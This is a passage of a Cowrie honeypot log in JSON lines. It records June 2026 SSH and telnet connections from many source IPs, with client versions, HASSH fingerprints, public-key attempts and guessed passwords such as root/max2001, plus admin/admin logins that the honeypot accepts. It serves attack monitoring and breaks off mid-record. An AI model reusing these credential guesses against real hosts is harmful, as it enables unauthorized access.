{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:aa:7c:f0:ff:3d:ba:75:76:21:cf:4b:04:56:a6:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGA22VHdHf6L9obZq4AujpZFFrVdIjXYaBHv94SAX5lJ5JJZAclLGtIrXOpJz9VSTho+ACvHOIzDugGfGu7Sg/TFzKEzQzdvLrB+HwPWNy+zyZGeGXGXIIwM4JrDYAwNPMcQI2DEpiUoIL7QYM0ZhA57vfUuZzsO6ouzfybgW0ctnFca/XpEWbG4tLQW/onTSreCRGW1y7rudDUwTTtk5qgmbpwu52W/ya2yHW1spWKrjBhZcxD/dnRMcV/tO11a3o7Y66hDVGStExiBHY4EwrNAi3rb+ShxIsl+6O9s4eGlMvGExqt6ZEsuFtLJcltvemb6i4StZeuWCAZHR8YXIl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.787758Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:70:8c:52:37:1b:71:eb:93:22:0d:19:e0:a7:ed:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXYw6QDHhMgONu3pCKQIpKFyAp4a/S8qa0TBCeiglUL2eNo5FxFKti/oPw8TxE4FF0QtioQYdxxjaF60BIyIrZqObYgTh1VkmWZOY3CAqQzvDQ+l1JadO2TqFeidhNm9Y7ixNTiyjkP4DdnZmaxmUUELGUAgSaaG3O2CLrDYN/YeINSgOtRtoZo8A89bMbQXtOGs9Et4NqQvKgkiAUkqy81q+6ZoSemI0KhuUdPIFppBsScu261yI9GT5AoqrcflumoSbMRC0xYSRBu5UYxlCUp+5wA2kjkPi/yqOm6DfhASaJOLQky5koO1Q+4zTisDfXyKNlgzPlcdvDPO9A9wi/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:70:8c:52:37:1b:71:eb:93:22:0d:19:e0:a7:ed:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.809874Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:70:8c:52:37:1b:71:eb:93:22:0d:19:e0:a7:ed:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXYw6QDHhMgONu3pCKQIpKFyAp4a/S8qa0TBCeiglUL2eNo5FxFKti/oPw8TxE4FF0QtioQYdxxjaF60BIyIrZqObYgTh1VkmWZOY3CAqQzvDQ+l1JadO2TqFeidhNm9Y7ixNTiyjkP4DdnZmaxmUUELGUAgSaaG3O2CLrDYN/YeINSgOtRtoZo8A89bMbQXtOGs9Et4NqQvKgkiAUkqy81q+6ZoSemI0KhuUdPIFppBsScu261yI9GT5AoqrcflumoSbMRC0xYSRBu5UYxlCUp+5wA2kjkPi/yqOm6DfhASaJOLQky5koO1Q+4zTisDfXyKNlgzPlcdvDPO9A9wi/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.813091Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:bb:54:73:ee:22:d1:09:63:12:27:bf:83:5b:b7:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmr8fDIHZnHyXPnP+DLk//0ratKPo3rpGV5SplM/ue9w6toeTBCSFepGxpoW8phdkrmDwoCwchsa1voKmJpEgCfm4IkRS4P6WdFj//nijGkkT8OKVDM8rVhg5vKi/tYlyf8FfpazpA3Yc52DwkNpP8fS8lCiH98m//LP32FM4YCxxJmBKeP4yZeFyMwBwYGOgSlKXV6FZ5ns7nRSCdLqZtG4MpEZzqveJyw/Wbr9QE3kUN8dxV4VycqZQRXesN64Bi0MjeiRotIKwj9nUy4ZJbZIwyW2UioQY6AXJzhtT8KYyhAzxXLP68XmyXduVqq5thZEGuH2oMBWtrO3+WezTD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:bb:54:73:ee:22:d1:09:63:12:27:bf:83:5b:b7:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.833758Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:bb:54:73:ee:22:d1:09:63:12:27:bf:83:5b:b7:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmr8fDIHZnHyXPnP+DLk//0ratKPo3rpGV5SplM/ue9w6toeTBCSFepGxpoW8phdkrmDwoCwchsa1voKmJpEgCfm4IkRS4P6WdFj//nijGkkT8OKVDM8rVhg5vKi/tYlyf8FfpazpA3Yc52DwkNpP8fS8lCiH98m//LP32FM4YCxxJmBKeP4yZeFyMwBwYGOgSlKXV6FZ5ns7nRSCdLqZtG4MpEZzqveJyw/Wbr9QE3kUN8dxV4VycqZQRXesN64Bi0MjeiRotIKwj9nUy4ZJbZIwyW2UioQY6AXJzhtT8KYyhAzxXLP68XmyXduVqq5thZEGuH2oMBWtrO3+WezTD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.836800Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.858186Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.233.68.137","src_port":48192,"dst_ip":"10.17.0.5","dst_port":22,"session":"e807606f71cd","protocol":"ssh","message":"New connection: 167.233.68.137:48192 (10.17.0.5:22) [session: e807606f71cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:17.455724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:17.459277Z","src_ip":"167.233.68.137","session":"e807606f71cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:17.549745Z","src_ip":"167.233.68.137","session":"e807606f71cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:17.737978Z","src_ip":"167.233.68.137","session":"e807606f71cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:17.833523Z","src_ip":"167.233.68.137","session":"e807606f71cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":4804,"dst_ip":"10.17.0.5","dst_port":22,"session":"999e18329948","protocol":"ssh","message":"New connection: 130.12.180.51:4804 (10.17.0.5:22) [session: 999e18329948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:17.916995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:17.921747Z","src_ip":"130.12.180.51","session":"999e18329948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:18.002669Z","src_ip":"130.12.180.51","session":"999e18329948","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:18.251271Z","src_ip":"130.12.180.51","session":"999e18329948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:18.775127Z","src_ip":"130.12.180.51","session":"999e18329948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":49132,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5c9e4b92f85","protocol":"ssh","message":"New connection: 37.233.85.71:49132 (159.203.135.109:22) [session: b5c9e4b92f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:20.313974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:20.318524Z","src_ip":"37.233.85.71","session":"b5c9e4b92f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:20.422026Z","src_ip":"37.233.85.71","session":"b5c9e4b92f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"golubeva","message":"login attempt [root/golubeva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:20.732503Z","src_ip":"37.233.85.71","session":"b5c9e4b92f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:21.837703Z","src_ip":"37.233.85.71","session":"b5c9e4b92f85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58514,"dst_ip":"159.203.135.109","dst_port":23,"session":"71eb772aba28","protocol":"telnet","message":"New connection: 172.81.62.90:58514 (159.203.135.109:23) [session: 71eb772aba28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:28.756455Z"}
{"eventid":"cowrie.session.closed","duration":38.88358497619629,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:29.144598Z","src_ip":"128.199.8.54","session":"5f8f6732913a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.16615700721741,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:10:04.922488Z","src_ip":"172.81.62.90","session":"71eb772aba28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38666,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d6006b83178","protocol":"telnet","message":"New connection: 128.199.8.54:38666 (159.203.135.109:23) [session: 8d6006b83178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:10:11.847496Z"}
{"eventid":"cowrie.session.closed","duration":120.00841879844666,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:10:48.445919Z","src_ip":"94.23.66.112","session":"99eef73732ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50942,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaf27d611e65","protocol":"telnet","message":"New connection: 128.199.8.54:50942 (159.203.135.109:23) [session: aaf27d611e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:10:50.721024Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":60676,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f5bd5637369","protocol":"telnet","message":"New connection: 94.23.66.112:60676 (10.17.0.5:23) [session: 6f5bd5637369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:10:51.103318Z"}
{"eventid":"cowrie.session.closed","duration":43.20909309387207,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:10:55.056479Z","src_ip":"128.199.8.54","session":"8d6006b83178","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":52180,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c44e6bf2c8a","protocol":"telnet","message":"New connection: 103.249.87.183:52180 (159.203.135.109:23) [session: 2c44e6bf2c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:10:58.792009Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":40796,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f44f243dbe8","protocol":"ssh","message":"New connection: 103.153.68.219:40796 (159.203.135.109:22) [session: 9f44f243dbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:17.665289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:17.673573Z","src_ip":"103.153.68.219","session":"9f44f243dbe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:17.925947Z","src_ip":"103.153.68.219","session":"9f44f243dbe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max2001","message":"login attempt [root/max2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:18.683941Z","src_ip":"103.153.68.219","session":"9f44f243dbe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:19.937473Z","src_ip":"103.153.68.219","session":"9f44f243dbe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.05323147773743,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:39.845115Z","src_ip":"103.249.87.183","session":"2c44e6bf2c8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33608,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef98134962a5","protocol":"ssh","message":"New connection: 103.82.132.16:33608 (10.17.0.5:22) [session: ef98134962a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:40.895041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:40.898779Z","src_ip":"103.82.132.16","session":"ef98134962a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:41.153877Z","src_ip":"103.82.132.16","session":"ef98134962a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"27111982","message":"login attempt [root/27111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:41.914835Z","src_ip":"103.82.132.16","session":"ef98134962a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:43.170664Z","src_ip":"103.82.132.16","session":"ef98134962a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":42992,"dst_ip":"10.17.0.5","dst_port":22,"session":"46d66da850b6","protocol":"ssh","message":"New connection: 182.93.50.90:42992 (10.17.0.5:22) [session: 46d66da850b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:44.264586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:44.268441Z","src_ip":"182.93.50.90","session":"46d66da850b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-pol